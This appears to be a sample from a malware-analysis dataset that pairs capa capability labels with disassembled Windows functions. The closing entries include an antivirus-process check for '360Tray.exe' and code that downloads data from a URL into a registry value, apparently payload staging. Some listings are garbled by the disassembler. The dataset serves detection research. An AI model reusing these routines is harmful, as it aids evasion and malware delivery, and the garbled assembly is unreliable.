joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140069d48
Capabilities:
Decrypt data via sspi

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rdx + 0x178]
mov rcx, qword [rdx + 0x168]
mov rdx, qword [rdx + 0x170]
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rs
call fcn.140068a36
xor ecx, ecx
test rax, rax
cmove edx, ecx
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movups xmmword [rcx + 0x30], xmm0
mov dword [rcx], edx
mov dword [rcx + 4], 1
mov qword [rcx + 8], rax
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm0
movabs rax, 0x400000000
lea rdx, [rsp + 0x60]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
lea rcx, [rdi + 0x1f0]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.secur32.dll_DecryptMessage]
cmp eax, 0x80090318
je 0x140069e2c
test eax, eax
je 0x140069e4b
cmp eax, 0x90317
je 0x140069ecc
cmp eax, 0x90321
jne 0x140069ed4
mov dword [rdi + 0x1d0], 0x10000
xor ebx, ebx
mov byte [rdi + 0x1d4], bl
cmp dword [rsp + 0x54], 5
mov rdx, qword [rdi + 0x178]
mov eax, 0
cmove eax, dword [rsp + 0x50]
sub rdx, rax
mov rcx, rdi
call fcn.140069ce9
and qword [rdi + 0x210], 0
mov byte [rsi + 1], bl
jmp 0x140069ee2
cmp dword [rsp + 0x34], 4
mov eax, 1
cmove eax, dword [rsp + 0x30]
mov qword [rdi + 0x210], rax
mov byte [rsi + 1], 0
jmp 0x140069ed0
mov r8, qword [rsp + 0x38]
mov rcx, qword [rdi + 0x168]
mov rdx, qword [rdi + 0x170]
sub r8, rcx
mov r9d, dword [rsp + 0x30]
add r9, r8
lea rbx, [rdi + 0x140]
and qword [rdi + 0x150], 0
call fcn.140068c89
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.14009b698
and qword [rdi + 0x158], 0
xor ebx, ebx
cmp dword [rsp + 0x54], 5
mov rdx, qword [rdi + 0x178]
mov eax, dword [rsp + 0x50]
cmovne eax, ebx
sub rdx, rax
mov rcx, rdi
call fcn.140069ce9
xor eax, eax
cmp qword [rdi + 0x178], rbx
sete al
mov qword [rdi + 0x210], rax
mov byte [rsi + 1], 0
jmp 0x140069ee2
mov byte [rsi + 1], 1
xor ebx, ebx
jmp 0x140069ee2
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov bl, 1
mov byte [rsi], bl
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret

Function at 0x14006a658
Capabilities:
Receive data
Receive data on socket

Disassembly:
cmp dword [rcx], 2
jne fcn.140038dd4
add rcx, 8
jmp fcn.1400992d9
add al, byte [rax]
Function at 0x14006a6e5
Capabilities:
Query or enumerate registry value

Disassembly:
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
sub esp, 0x68
mov rax, r8
mov r14, rdx
mov rsi, rcx
lea rdi, [rsp + 0x50]
mov r8d, 0xb
add byte [rax - 0x77], cl
stc
mov rdx, rax
call fcn.14005ed72
lea r13, [rsp + 0x30]
xor byte [rcx - 0x39], al
add byte [r8], r8b
add byte [rax], cl
add byte [rax], al
lea r15, [rsp + 0x34]
lea edi, [rsp + 0x34]
and dword [r15], 0
invalid
add byte [rcx + 0x800], bh
add byte [rax], al
call fcn.14000d47e
cli
dec dword [rax - 0x77]
ror dword [rbp + rcx*4 + 0x64], cl
lea esp, [rsp + 0x38]
mov qword [r12], rax
mov dword [rsp], eax
mov qword [r12 + 8], rdx
push rsp
and al, 8
and qword [r12 + 0x10], 0
and al, 0x10
add byte [rax - 0x75], cl
jg 0x14006a757
mov rbp, qword [sym.imp.advapi32.dll_RegQueryValueExW]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rbx
pop rsp
and al, 0x20
mov rcx, r14
int1
mov rdx, rdi
xor r8d, r8d
ror byte [rbp - 0x77], 0xf9
call rbp
cmp eax, 0xea
jne case.0x14003505b.273
mov edx, dword [rsp + 0x30]
mov rcx, r12
call fcn.14000d3c1
mov rbx, qword [rsp + 0x40]
jmp 0x14006a756
test eax, eax
jne 0x14006a7aa
mov eax, dword [rsp + 0x30]
mov qword [rsp + 0x48], rax
and al, 0x48
mov eax, dword [rsp + 0x34]
xor al, 0x83
clc
or esi, dword [rsi + 0x34]
invalid
movabs rax, 0xde00000002
jmp case.0x1400604e9.252
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48068948], al
mov ecx, dword [rsp + 0x38]
mov rdx, rbx
call fcn.14002fff6
jmp 0x14006a7e6
mov rcx, qword [rsp + 0x48]
mov qword [rsi + 0x10], rcx
mov dword [rsi + 0x10], ecx
adc byte [rdi], r9b
adc byte [rsp + 0x38], al
and al, 0x38
movups xmmword [rsi], xmm0
mov byte [rsi + 0x18], al
mov rcx, qword [rsp + 0x50]
mov rdx, rdi
call fcn.140084db8
nop
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14006f4a5
Capabilities:
Load assembly via iassembly
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xcc8
movaps xmmword [rsp + 0xcb0], xmm7
movaps xmmword [rsp + 0xca0], xmm6
mov r13, r8
mov rdi, rdx
mov rsi, rcx
mov rdx, qword [rdx + 0x400]
add rdx, 0x10
lea r15, [rsp + 0x230]
mov rcx, r15
call fcn.140016dfa
cmp qword [r15], 0
jne 0x140073bce
mov qword [rsp + 0x108], rsi
mov rsi, qword [rsp + 0x238]
mov dl, byte [rsp + 0x240]
cmp dword [rsi + 0xe8], 0
mov qword [rsp + 0x58], r13
je 0x14006f5fb
mov byte [rsp + 0x50], dl
lea r14, [rsi + 0x10]
lea r15, [rsi + 0x1c0]
lea r12, [rsi + 0xe8]
call fcn.14008f680
lea r13, [rsp + 0x690]
mov qword [r13], rax
mov dword [r13 + 8], edx
mov rbx, qword [rsi + 0xa8]
mov eax, dword [rsi + 0xb0]
mov dword [rsp + 0xb0], eax
lea rbp, [rsp + 0x370]
cmp dword [r12], 0
je 0x14006f5ea
mov rax, qword [rsi + 0xec]
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x230], r15
lea rcx, [rsp + 0x230]
call fcn.140010c47
mov r8d, dword [rax + 0x48]
cmp r8d, 0x3b9aca00
je 0x140073b92
mov rdx, qword [rax + 0x40]
mov rcx, r13
call fcn.14008f830
cmp rax, rbx
jb 0x14006f5ea
jne 0x14006f5be
cmp edx, dword [rsp + 0xb0]
jbe 0x14006f5ea
mov rcx, rbp
mov rdx, r12
mov r8, r15
call fcn.140010ef0
cmp qword [rsp + 0x370], 0
je 0x14006f5ea
mov rcx, r14
mov rdx, rbp
mov r8b, 1
call fcn.140017129
jmp 0x14006f566
mov r13, qword [rsp + 0x58]
lea r15, [rsp + 0x230]
mov dl, byte [rsp + 0x50]
mov rcx, rsi
call fcn.140099af8
mov ecx, 0x119
lea rbp, [rsp + 0x370]
lea rax, [rcx + rbp]
mov qword [rsp + 0x5d8], rax
mov edx, 0x11d
lea rax, [rbp + rdx]
mov qword [rsp + 0x5d0], rax
mov eax, 0x118
add rax, r15
mov qword [rsp + 0x4c8], rax
mov eax, 0x111
add rax, rbp
mov qword [rsp + 0x570], rax
mov eax, 0x115
add rax, rbp
mov qword [rsp + 0x568], rax
lea rax, [rsp + 0x8c8]
add rcx, rax
mov qword [rsp + 0x608], rcx
add rdx, rax
mov qword [rsp + 0x600], rdx
xorps xmm6, xmm6
lea rax, [rdi + 0x3a0]
mov qword [rsp + 0x4e0], rax
lea rax, [rdi + 0x378]
mov qword [rsp + 0x208], rax
lea rbx, [rsp + 0x238]
lea rax, [rdi + 0x390]
mov qword [rsp + 0x5f8], rax
lea rax, [rdi + 0x3d8]
mov qword [rsp + 0x4d8], rax
lea rax, [rdi + 0x50]
mov qword [rsp + 0x5e0], rax
lea rax, [rdi + 0x58]
mov qword [rsp + 0x560], rax
lea rax, [rdi + 0x43c]
mov qword [rsp + 0x588], rax
lea rax, [rdi + 0x3f8]
mov qword [rsp + 0x618], rax
lea rax, [rdi + 0x410]
mov qword [rsp + 0x610], rax
lea r12, [rdi + 0x1a0]
lea r14, [rdi + 0x1b0]
lea rax, [rdi + 0x1c8]
mov qword [rsp + 0x4c0], rax
lea rax, [rdi + 0x230]
mov qword [rsp + 0x1e0], rax
lea rax, [rdi + 0x238]
mov qword [rsp + 0x4d0], rax
lea rax, [rdi + 0x350]
mov qword [rsp + 0x578], rax
lea rax, [rdi + 0x47c]
mov qword [rsp + 0x5f0], rax
lea rax, [rdi + 0x4b1]
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x198], rax
mov dword [rsp + 0x9c], eax
mov dword [rsp + 0xac], eax
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x580], rax
mov dword [rsp + 0x16c], eax
mov dword [rsp + 0x170], eax
mov qword [rsp + 0x60], r14
Function at 0x140081b10
Capabilities:
Encode data using xor

Disassembly:
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae fcn.140006d60
cmp rax, rcx
je 0x140081b35
cmp rdx, 4
jae 0x140081b38
xor eax, eax
xor r8d, r8d
jmp 0x140081bd0
xor eax, eax
ret
mov r8, rdx
and r8, 0xfffffffffffffffc
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x1400a7570]
movdqa xmm3, xmmword [0x1400a7580]
pxor xmm1, xmm1
nop dword [rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140081b60
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140081be7
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140081bd0
ret
Function at 0x140084f55
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xb0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x60], 4
mov dword [rsp + 0xa8], 0x400010
movabs rax, 0x8000000000000000
cmp qword [rcx + 0x18], rax
je 0x140084fc1
mov edx, dword [rcx + 0x28]
mov dword [rsp + 0x88], edx
mov rdx, qword [rcx + 0x20]
mov qword [rsp + 0x90], rdx
cmp qword [rcx + 0x30], rax
je 0x140084ffc
mov rax, qword [rcx + 0x40]
test rax, rax
je 0x140084ff3
mov r8, qword [rcx + 0x38]
xor edx, edx
lea r9, [0x140104ca8]
xor r10d, r10d
movzx r11d, byte [r8 + r10]
or edx, dword [r9 + r11*4]
inc r10
cmp rax, r10
jne 0x140084fe0
jmp 0x140084ff5
xor edx, edx
mov dword [rsp + 0x98], edx
mov rsi, qword [rcx + 0x10]
test rsi, rsi
je 0x14008504b
mov rax, rsi
shr rax, 0x3c
jne 0x140085112
mov r14, qword [rcx + 8]
lea rbx, [rsi*8]
mov ecx, 8
mov rdx, rbx
call fcn.1400274dd
test rax, rax
je 0x140085117
mov rdi, rax
xor eax, eax
mov rcx, qword [r14 + rax*8]
mov qword [rdi + rax*8], rcx
inc rax
cmp rsi, rax
jne 0x140085039
jmp 0x140085052
mov edi, 8
xor esi, esi
lea rax, [rsp + 0x60]
mov dword [rax + 4], esi
mov qword [rax + 8], rdi
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rax
and qword [rsp + 0x40], 0
lea rdx, str.Microsoft_Unified_Security_Protocol_Provider
xor ecx, ecx
mov r8d, 2
xor r9d, r9d
call qword [sym.imp.secur32.dll_AcquireCredentialsHandleA]
test eax, eax
je 0x1400850a9
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov r14d, 1
jmp 0x1400850e4
mov r14, qword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
mov al, byte [0x14010c2a0]
mov edx, 0x20
xor ecx, ecx
call fcn.14008f8f0
test rax, rax
je 0x140085124
mov rbx, rax
mov eax, 1
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r15
xor r14d, r14d
test rsi, rsi
je 0x1400850fd
shl rsi, 3
mov edx, 8
mov rcx, rdi
mov r8, rsi
call fcn.14001aaf7
mov rax, r14
mov rdx, rbx
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.140003ee0
mov ecx, 8
mov rdx, rbx
call fcn.1400a36d0
mov ecx, 8
mov edx, 0x20
call fcn.1400a36d0
int3

Function at 0x140085beb
Capabilities:
Get remote cert context via schannel

Disassembly:
sub rsp, 0x28
lea r8, [rsp + 0x20]
and qword [r8], 0
mov edx, 0x53
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
mov edx, eax
xor eax, eax
test edx, edx
setne cl
jne 0x140085c15
mov rdx, qword [rsp + 0x20]
jmp 0x140085c1d
shl rdx, 0x20
or rdx, 2
mov al, cl
add rsp, 0x28
ret
Function at 0x140086239
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x38
mov eax, edx
lea r9, [rsp + 0x34]
mov dword [r9], r8d
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, eax
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x140086266
xor eax, eax
jmp 0x14008626b
call fcn.14002f56f
nop
add rsp, 0x38
ret

Function at 0x140086296
Capabilities:
Connect socket

Disassembly:
sub rsp, 0x28
mov r8d, dword [rdx + 0x80]
call qword [sym.imp.ws2_32.dll_connect]
test eax, eax
je 0x1400862b4
add rsp, 0x28
jmp fcn.14002f56f
xor eax, eax
add rsp, 0x28
ret
Function at 0x14008bd00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
movzx r9d, byte [rdx + 0x38]
movzx eax, byte [rdx + 0x3a]
test al, al
setne r8b
cmp r9b, 1
ja 0x14008bd74
test al, al
jne 0x14008bd59
movzx esi, byte [rdx + 0x10]
lea eax, [rsi - 5]
cmp al, 1
ja 0x14008bd59
mov r10, qword [rdx]
mov rax, qword [rdx + 8]
xor r11d, r11d
test r9b, r9b
jne 0x14008bd50
cmp sil, 6
je 0x14008bd50
mov r11d, 2
cmp rax, 2
jb 0x14008bf5d
cmp r11, rax
jne case.0x14008ac51.41
xor eax, eax
xor r8d, r8d
xor eax, eax
xor r10d, r10d
add rax, r10
lea rsi, [r10 + r11]
inc rsi
cmp rsi, rax
sete al
movzx r10d, byte [r10 + r11]
Function at 0x14008f300
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x14010c2a0]
mov edx, 0x10
xor ecx, ecx
call fcn.14008f8f0
test rax, rax
je 0x14008f3d4
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x14008f470]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14008f3c6
mov rcx, qword [rbx]
mov qword [rbp - 0x18], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x14008f3a3
mov rdx, qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
call fcn.140003e10
mov edx, 8
mov rcx, qword [rbp - 0x18]
call fcn.140003e10
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x10
call fcn.1400a36d0
ud2

Function at 0x14008f5a0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x14008f5e3
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [fcn.14008d860]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syspalwindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.1400a3970
ud2

Function at 0x140092830
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x140092865
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x14009286a
call fcn.14008f5a0
nop
add rsp, 0x38
ret

Function at 0x1400973c5
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov rax, qword [rcx]
mov rdx, rax
xor rdx, 3
lock cmpxchg qword [rcx], rdx
jne 0x1400973cc
test al, 1
je 0x1400973eb
test al, 2
jne 0x140097403
xor rax, 3
add rsp, 0x28
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x1400de650]
mov edx, 0x23
call fcn.1400a3b30
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x1400de690]
mov edx, 0x25
call fcn.1400a3b30
int3
Function at 0x140099289
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
call fcn.1400971cb
mov rcx, qword [rax]
movzx eax, bl
lea r9, [rsp + 0x2c]
mov dword [r9], eax
mov dword [rsp + 0x20], 4
mov edx, 6
mov r8d, 1
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400992c5
xor eax, eax
jmp 0x1400992d3
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
add rsp, 0x30
pop rbx
ret
Function at 0x14009952d
Capabilities:
Send data
Send data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov rbp, r9
mov rbx, r8
mov r14, rdx
mov qword [rsp + 0x28], rcx
mov rax, qword [rsp + 0xd0]
lea r15, [rsp + 0x42]
lea r13, [rsp + 0x52]
mov rdi, qword [rdx + 0x10]
mov r12, qword [rdx + 0x18]
mov ecx, 0x7fffffff
cmp rax, rcx
cmovb rcx, rax
mov qword [rsp + 0x60], rcx
mov rax, qword [rdx + 0x20]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], rdi
Function at 0x1400a32c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a330a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a330a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a330a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a330a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a330a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a330c
xor al, al
add rsp, 0x28
ret
Function at 0x14001120d
Capabilities:
Terminate process

Disassembly:
jmp 0x140014960
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001129e
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015cb0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015cd0
xor al, al
jmp 0x140015d51
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015ce3
xor al, al
jmp 0x140015d51
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015d0d
xor al, al
jmp 0x140015d51
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015d21
xor al, al
jmp 0x140015d51
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015d33
xor al, al
jmp 0x140015d51
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015d4f
xor al, al
jmp 0x140015d51
mov al, 1
add rsp, 0x38
ret
Function at 0x180002ca0
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x260
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180002d20
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
call fcn.1800195f0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180002d17
nop dword [rax]
lea rdx, str.360Tray.exe
lea rcx, [rsp + 0x4c]
call fcn.180021140
mov rcx, rbx
test eax, eax
je 0x180002d2b
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180002cf0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x260
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x260
pop rbx
ret
Function at 0x180002d40
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
push rbx
push rsi
push r12
push r14
push r15
sub rsp, 0x50
mov rbx, rcx
mov r14, rdx
mov ecx, 0x1000
call fcn.180016e3c
xor r12d, r12d
mov dword [rsp + 0x90], 1
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.RookIE_1.0
xor edx, edx
mov rsi, rax
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x180002f13
mov qword [rsp + 0x28], r12
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x4000000
mov rdx, rbx
mov qword [rsp + 0x80], rbp
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
je 0x180002f02
mov qword [rsp + 0x40], r12
lea rax, [rsp + 0x98]
mov qword [rsp + 0x38], rax
lea rdx, str.Console
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x180002ef9
mov ebx, r12d
mov qword [rsp + 0x88], rdi
mov edi, r12d
cmp dword [rsp + 0x90], ebx
jbe 0x180002ec0
nop dword [rax + rax]
mov r8d, 0x1000
mov edx, ebx
sub r8d, ebx
lea r9, [rsp + 0x90]
add rdx, rsi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x180002e97
add ebx, eax
cmp ebx, 0x1000
jne 0x180002e93
mov rcx, qword [rsp + 0x98]
mov r9d, 3
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov rdx, r14
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [rsp + 0x90]
add edi, ebx
mov ebx, r12d
test eax, eax
jne 0x180002e30
test ebx, ebx
je 0x180002ec0
mov rcx, qword [rsp + 0x98]
mov r9d, 3
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov rdx, r14
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add edi, ebx
mov rcx, qword [rsp + 0x98]
mov r9d, 3
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov rdx, r14
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rsp + 0x88]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbp, qword [rsp + 0x80]
mov rcx, rsi
call fcn.180016df8
add rsp, 0x50
pop r15
pop r14
pop r12
pop rsi
pop rbx
ret